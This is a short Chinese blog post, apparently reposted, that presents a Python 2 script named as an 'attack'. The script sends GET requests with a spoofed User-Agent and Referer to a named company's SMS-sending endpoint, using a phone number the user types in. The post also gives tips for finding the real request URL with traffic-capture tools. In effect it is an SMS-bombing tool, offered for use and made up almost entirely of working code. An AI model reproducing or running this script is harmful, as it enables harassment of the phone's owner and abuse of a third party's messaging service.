在上一篇介绍的是post方式发送数据,可是有点站点是get方式发送数据,比如:http://www.oupeng.com/download,事实上方法差点儿相同。
import httplib,urllib,sys,os,re,urllib2 import string def attack(phone): datas="" url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5", "Accept": "text/plain",'Referer':'http://www.oupeng.com/download'} #payload=urllib.urlencode(payload) try: request=urllib2.Request(url=url,headers=i_headers) response=urllib2.urlopen(request) datas=response.read() print datas print 'attack success!!!' except Exception, e: print e print "attack failed!!!" if __name__=="__main__": phone=raw_input('input the phone:') attack(phone)
注意:
1.请求的网址可能与浏览器上的网址不一样
2.Referer不能为空
这些都能够从Fiddler或者httpWatch中看到
源代码地址:https://github.com/iloster/PythonScripts/blob/master/opera.py
来源:https://www.cnblogs.com/mengfanrong/p/3778729.html